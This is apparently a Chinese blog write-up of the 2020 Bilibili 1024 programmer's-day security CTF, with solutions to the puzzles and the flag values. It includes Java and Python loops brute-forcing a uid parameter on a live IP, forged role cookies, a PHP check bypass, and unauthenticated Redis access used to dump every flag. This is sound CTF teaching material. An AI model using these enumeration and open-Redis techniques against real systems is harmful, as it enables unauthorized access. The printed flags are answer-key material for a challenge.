php代码庆祝程序员节,2020-1024程序员节首届哔哩哔哩安全挑战赛Write Up

第一题

“页面的背后是什么” 指网页源代码

Ctrl+U 查看网页源代码 看到向一个地方发送了get请求

86afc8061877523df800266cff255a68.png

发送一个请求,或者直接找找flag1相关的东西就能找到

第二题

"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问

使用抓包工具抓包

把浏览器(UA)伪造成"bilibili Security Browser"

需要注意的是如果是Postman需要添加Cookie

7da0bd309ca93a11d2ed802d8663b382.png

第三题

“密码是啥”

密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~

043ba51eec26ccf896500bf144742245.png

第四题

"对不起,权限不足~"指你的身份不对

cb306dd46a4178b16275adf2dcd47ccb.png

MD5

521799f0d633a652e95fe8d63609803f.png

猜测角色名字,首字母大写

5302d3a89f73bda7c20491a5076861c1.png

第五题

Ctrl+U 查看网页源代码,看看它想要干什么

注意里面有个神奇的uid

ed15ae870d09b5334b1673b417f17112.png

暴力遍历要从合适的位置开始

Java版本

for(int i=100336889;i<100999999;i++){

Request.Builder builder1 = new Request.Builder();

Request build1 = builder1.url("http://45.113.201.36/api/ctf/5?uid=" + i)

.header("Charset", "UTF-8")

.header("Connection", "Keep-Alive")

.header("Content-Type", "application/x-www-form-urlencoded")

.header("Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")

.get()

.build();

try{

JSONObject j=JSONObject.parseObject(new HttpClient().newCall(build1).execute().body().string());

//System.out.println(j);

if(j.getString("code").equals("200")){

System.out.println(j.getString("data"));

}else{

if(i%100==0){

System.out.println(i);

}

}

}catch (Exception e){

e.printStackTrace();

}

}

Python版本

for uid in range(100336889,99999999999):

params = (

('uid', uid),

)

response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()

if response['code'] != '403':

print(response)

print(uid)

第六题

“结束亦是开始”

硬猜得到 /blog/end.php。

扫描

test.php

test.php的内容是jsfuck

12e95431d6ec4e6b2b36ea1c44fd7d05.png

执行

f5e4ae511ae552a1cbf851f7a65bc1e3.png

unicode 解码后是“程序员最多的地方”=>GitHub

搜索

e5dddb7df530b066ca414568778cc9e8.png

//filename end.php

$bilibili = "bilibili1024havefun";

$str = intval($_GET['id']);

$reg = preg_match('/\d/is', $_GET['id']);

if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){

$content = file_get_contents($_GET['url']);

//文件路径猜解

if (false){

echo "还差一点点啦~";

}else{

echo $flag;

}

}else{

echo "你想要的不在这儿~";

}

?>

构造参数URL

结合前面题目的url猜测

这里跳转第十题

这里跳转第七题

ac18d6d9762af284ed9eff768912d947.png

61c17430f5cafd2b3d93aec4c9b4a662.png

第七题

第六题中

第八题

第六题中

端口扫描

服务器开启了6379端口,Redis的默认端口

[root@iz2ze77]# redis-cli -h 120.92.151.189 -p 6379

120.92.151.189:6379> keys *

1) "flag4"

2) "flag6"

3) "flag7"

4) "flag9"

5) "flag8"

6) "flag1"

7) "flag2"

8) "flag3"

9) "flag5"

10) "flag10"

120.92.151.189:6379> get flag1

"3b96173a-b3df4cdd-22d4c15f-261e7309"

120.92.151.189:6379> get flag2

"bd871042-1e09a130-3ddd4faa-cebdb048"

120.92.151.189:6379> get flag3

"c7f7a7c2-28b7f895-5432152b-6410e042"

120.92.151.189:6379> get flag4

"d338e3c8-93215105-258d79ba-b364e59c"

120.92.151.189:6379> get flag5

"612d1886-044898af-6c1e9dba-b58ad075"

120.92.151.189:6379> get flag6

"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"

120.92.151.189:6379> get flag7

"b78ce2aa-10d03327-f2035f4e-55c17689"

120.92.151.189:6379> get flag8

"d436b982-2b81aa54-49a8d2db-87ab951a"

120.92.151.189:6379> get flag9

"b3238659-b81512e6-3a307c74-9877ecc5"

120.92.151.189:6379> get flag10

"e5653416-595b3d0c-4c2a57ee-c026350e"

因为扫描的原因,服务器很卡,容易掉线。

[root@iz2zeihez ~]# redis-cli -h 120.92.151.189 -p 6379

Could not connect to Redis at 120.92.151.189:6379: Connection refused

not connected> exit

[root@iz2zeihez ~]#

第九题

第六题中

第十题

第六题中

33ebff25c196a79a16a17c4fb82e1f0c.png

下载

二进制编辑器打开

b0c04b0a5ad926cdedcc181652293e02.png

参考文章

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值